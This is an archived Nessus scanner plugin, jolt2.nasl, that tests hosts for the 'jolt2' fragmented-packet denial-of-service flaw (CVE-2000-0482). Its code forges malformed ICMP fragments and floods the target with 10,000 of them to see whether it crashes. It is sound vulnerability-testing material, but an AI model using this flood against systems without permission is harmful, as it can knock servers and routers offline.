home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / jolt2.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  70 lines
  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # GNU Public Licence
  5. #
  6. # Note: the original exploit looks buggy. I tried to reproduce it here.
  7. #
  8.  
  9. if(description)
  10. {
  11.  script_id(11902);
  12.  script_bugtraq_id(1312);
  13.  script_version ("$Revision: 1.3 $");
  14.  script_cve_id("CVE-2000-0482");
  15.  
  16.  name["english"] = "jolt2";
  17.  script_name(english:name["english"]);
  18.  
  19.  desc["english"] = "
  20. The machine (or a gateway on the network path) crashed when
  21. flooded with incorrectly fragmented packets.
  22. This is known as the 'jolt2' denial of service attack.
  23.  
  24. An attacker may use this flaw to shut down this server or router,
  25. thus preventing you from working properly.
  26.  
  27. Solution : contact your operating system vendor for a patch.
  28.  
  29. Risk factor : High";
  30.  
  31.  script_description(english:desc["english"]);
  32.  
  33.  summary["english"] = "Floods target with incorrectly fragmented packets";
  34.  script_summary(english:summary["english"]);
  35.  
  36.  if (ACT_FLOOD) script_category(ACT_FLOOD);
  37.  else        script_category(ACT_KILL_HOST);
  38.  
  39.  script_copyright(english:"This script is Copyright (C) 2003 Michel Arboi");
  40.  family["english"] = "Denial of Service";
  41.  family["francais"] = "DΘni de service";
  42.  script_family(english:family["english"], francais:family["francais"]);
  43.  
  44.  exit(0);
  45. }
  46.  
  47. #
  48.  
  49. src = this_host();
  50. id = 0x455;
  51. seq = rand() % 256;
  52.  
  53. ip = forge_ip_packet(ip_v: 4, ip_hl : 5, ip_tos : 0, ip_len : 20+8+1,
  54.              ip_id : id, ip_p : IPPROTO_ICMP, ip_ttl : 255,
  55.              ip_off : 8190, ip_src : src);
  56.  
  57. icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
  58.                   icmp_seq: seq, icmp_id:seq, data: "X");
  59.  
  60. start_denial();
  61.  
  62. send_packet(icmp, pcap_active: 0) x 10000;
  63.  
  64. alive = end_denial();
  65. if(!alive)
  66. {
  67.     security_hole();
  68.     set_kb_item(name:"Host/dead", value:TRUE);
  69. }
  70.